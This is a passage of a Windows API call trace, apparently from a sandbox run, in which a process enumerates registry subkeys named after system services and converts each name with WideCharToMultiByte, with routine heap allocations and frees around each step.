lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdppm", lpUsedDefaultChar=0x0) returned 6 [0243.134] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.134] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.134] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.134] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.134] RegEnumKeyW (in: hKey=0x150, dwIndex=0x17, lpName=0x2152850, cchName=0x104 | out: lpName="amdsata") returned 0x0 [0243.134] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.134] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsata", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsata", lpUsedDefaultChar=0x0) returned 7 [0243.134] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.134] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.134] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.134] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.134] RegEnumKeyW (in: hKey=0x150, dwIndex=0x18, lpName=0x2152850, cchName=0x104 | out: lpName="amdsbs") returned 0x0 [0243.134] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.134] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdsbs", cchWideChar=6, lpMultiByteStr=0x21f1c40, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdsbs", lpUsedDefaultChar=0x0) returned 6 [0243.134] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.134] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.134] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.134] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.134] RegEnumKeyW (in: hKey=0x150, dwIndex=0x19, lpName=0x2152850, cchName=0x104 | out: lpName="amdxata") returned 0x0 [0243.134] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.134] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.134] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="amdxata", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="amdxata", lpUsedDefaultChar=0x0) returned 7 [0243.134] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.135] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.135] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.135] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.135] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1a, lpName=0x2152850, cchName=0x104 | out: lpName="AppID") returned 0x0 [0243.135] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.135] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appid", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appid", lpUsedDefaultChar=0x0) returned 5 [0243.135] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.135] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.135] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.135] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.135] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1b, lpName=0x2152850, cchName=0x104 | out: lpName="AppIDSvc") returned 0x0 [0243.135] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.135] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appidsvc", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appidsvc", lpUsedDefaultChar=0x0) returned 8 [0243.135] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.135] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.135] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.135] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.135] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1c, lpName=0x2152850, cchName=0x104 | out: lpName="Appinfo") returned 0x0 [0243.135] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.135] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appinfo", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appinfo", lpUsedDefaultChar=0x0) returned 7 [0243.135] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.135] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.135] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.135] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.135] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1d, lpName=0x2152850, cchName=0x104 | out: lpName="AppMgmt") returned 0x0 [0243.135] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.135] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.136] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="appmgmt", cchWideChar=7, lpMultiByteStr=0x21f1df0, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="appmgmt", lpUsedDefaultChar=0x0) returned 7 [0243.136] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.136] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.136] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.136] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.136] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1e, lpName=0x2152850, cchName=0x104 | out: lpName="arc") returned 0x0 [0243.136] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0243.136] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arc", cchWideChar=3, lpMultiByteStr=0x21f1c40, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arc", lpUsedDefaultChar=0x0) returned 3 [0243.136] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.136] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.136] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.136] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.136] RegEnumKeyW (in: hKey=0x150, dwIndex=0x1f, lpName=0x2152850, cchName=0x104 | out: lpName="arcsas") returned 0x0 [0243.136] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 6 [0243.136] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="arcsas", cchWideChar=6, lpMultiByteStr=0x21f1df0, cbMultiByte=6, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="arcsas", lpUsedDefaultChar=0x0) returned 6 [0243.136] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.136] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.136] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.136] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.136] RegEnumKeyW (in: hKey=0x150, dwIndex=0x20, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET") returned 0x0 [0243.136] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.136] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.136] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net", lpUsedDefaultChar=0x0) returned 7 [0243.136] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.136] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.136] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.136] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.136] RegEnumKeyW (in: hKey=0x150, dwIndex=0x21, lpName=0x2152850, cchName=0x104 | out: lpName="ASP.NET_4.0.30319") returned 0x0 [0243.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0243.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asp.net_4.0.30319", cchWideChar=17, lpMultiByteStr=0x21f1df0, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asp.net_4.0.30319", lpUsedDefaultChar=0x0) returned 17 [0243.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.137] RegEnumKeyW (in: hKey=0x150, dwIndex=0x22, lpName=0x2152850, cchName=0x104 | out: lpName="aspnet_state") returned 0x0 [0243.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0243.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="aspnet_state", cchWideChar=12, lpMultiByteStr=0x21f1c40, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="aspnet_state", lpUsedDefaultChar=0x0) returned 12 [0243.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.137] RegEnumKeyW (in: hKey=0x150, dwIndex=0x23, lpName=0x2152850, cchName=0x104 | out: lpName="AsyncMac") returned 0x0 [0243.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="asyncmac", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="asyncmac", lpUsedDefaultChar=0x0) returned 8 [0243.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.137] RegEnumKeyW (in: hKey=0x150, dwIndex=0x24, lpName=0x2152850, cchName=0x104 | out: lpName="atapi") returned 0x0 [0243.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.137] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="atapi", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="atapi", lpUsedDefaultChar=0x0) returned 5 [0243.137] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.137] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.138] RegEnumKeyW (in: hKey=0x150, dwIndex=0x25, lpName=0x2152850, cchName=0x104 | out: lpName="AudioEndpointBuilder") returned 0x0 [0243.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0243.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audioendpointbuilder", cchWideChar=20, lpMultiByteStr=0x21f1df0, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audioendpointbuilder", lpUsedDefaultChar=0x0) returned 20 [0243.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.138] RegEnumKeyW (in: hKey=0x150, dwIndex=0x26, lpName=0x2152850, cchName=0x104 | out: lpName="AudioSrv") returned 0x0 [0243.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="audiosrv", cchWideChar=8, lpMultiByteStr=0x21f1c40, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="audiosrv", lpUsedDefaultChar=0x0) returned 8 [0243.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.138] RegEnumKeyW (in: hKey=0x150, dwIndex=0x27, lpName=0x2152850, cchName=0x104 | out: lpName="AxInstSV") returned 0x0 [0243.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.138] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="axinstsv", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="axinstsv", lpUsedDefaultChar=0x0) returned 8 [0243.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.138] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.138] RegEnumKeyW (in: hKey=0x150, dwIndex=0x28, lpName=0x2152850, cchName=0x104 | out: lpName="b06bdrv") returned 0x0 [0243.138] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 7 [0243.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b06bdrv", cchWideChar=7, lpMultiByteStr=0x21f1c40, cbMultiByte=7, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b06bdrv", lpUsedDefaultChar=0x0) returned 7 [0243.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.139] RegEnumKeyW (in: hKey=0x150, dwIndex=0x29, lpName=0x2152850, cchName=0x104 | out: lpName="b57nd60a") returned 0x0 [0243.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0243.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="b57nd60a", cchWideChar=8, lpMultiByteStr=0x21f1df0, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="b57nd60a", lpUsedDefaultChar=0x0) returned 8 [0243.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.139] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2a, lpName=0x2152850, cchName=0x104 | out: lpName="BattC") returned 0x0 [0243.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0243.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1c40 [0243.139] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="battc", cchWideChar=5, lpMultiByteStr=0x21f1c40, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="battc", lpUsedDefaultChar=0x0) returned 5 [0243.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x40) returned 0x21f1df0 [0243.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1c40) returned 1 [0243.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f1df0) returned 1 [0243.139] RtlFreeHeap (HeapHandle=0x2520000, Flags=0x0, BaseAddress=0x21f2eb0) returned 1 [0243.139] RegEnumKeyW (in: hKey=0x150, dwIndex=0x2b, lpName=0x2152850, cchName=0x104 | out: lpName="BDESVC") returned 0x0 [0243.139] RtlAllocateHeap (HeapHandle=0x2520000, Flags=0x8, Size=0x80) returned 0x21f2eb0 [0243.139] WideCharToMultiByte (in: 